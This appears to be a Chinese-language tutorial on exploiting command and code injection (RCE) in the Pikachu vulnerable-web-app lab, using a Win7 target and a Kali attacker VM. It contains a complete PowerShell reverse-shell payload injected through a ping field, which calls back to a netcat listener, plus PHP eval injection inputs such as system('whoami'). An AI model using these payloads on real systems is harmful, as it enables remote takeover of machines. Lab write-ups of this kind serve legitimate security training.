一、rce简介
iKachu 靶场中的 RCE(Remote Command/Code Execute,远程命令 / 代码执行)漏洞是一种严重的安全漏洞,它允许攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
二、rce漏洞原理
应用程序未对用户输入进行严格过滤,直接将输入内容拼接至系统命令、代码执行函数或反序列化过程中,导致攻击者可以注入恶意命令或代码
三、环境准备
(1)win7虚拟机
(2)在win7虚拟机上搭建的pikachu靶场
(3)在win7虚拟机上安装的purbsuite
(4)先前搭建的kali虚拟机
四、实操--exec“ping”
该漏洞模拟了场景:许多 Web 应用需要与操作系统交互,例如执行 ping 命令检查网络连通性。如果应用直接将用户输入(如 IP 地址)拼接到系统命令中而不进行过滤,攻击者可以注入额外的命令
(1)打开kali终端,输入以下命令:
//详细监听4444端口
nc -lvnp 4444
(2)在pikachu-->rce-->exec“ping”中输入以下命令:
127.0.0.1; cmd.exe /c echo off & setlocal & cd & powershell -NoProfile -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.226.134',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $encoding = New-Object System.Text.ASCIIEncoding; $data = $encoding.GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = $encoding.GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush()}; $client.Close()"
//其中,192.168.226.134是kali虚拟机的IP地址
点击ping,kali虚拟机若成功截获,则会出现一下提示:
此时,便可以通过kail虚拟机远程操纵win7虚拟机了,分别输入whoami(查看用户名)、ipconfig(查看网络配置)来验证:
在进行远程操作,输入命令catc、notepad,打开win7虚拟机的计算机和记事本:
四、实操--exec“eval”
eval()是是PHP 中用于执行字符串形式 PHP 代码的函数。若应用将用户可控的输入直接作为eval()的参数,攻击者可注入恶意 PHP代码,从而在服务器上执行任意命令
(1)输入 phpinfo(); ,成功界面如下所示:
(2)输入 system(“whoami”); ,成功界面如下所示:
(3)输入system(“cact”); 会成功打开win7虚拟机的计算机:
(4)输入system(“ipconfig”); 成功界面如下所示: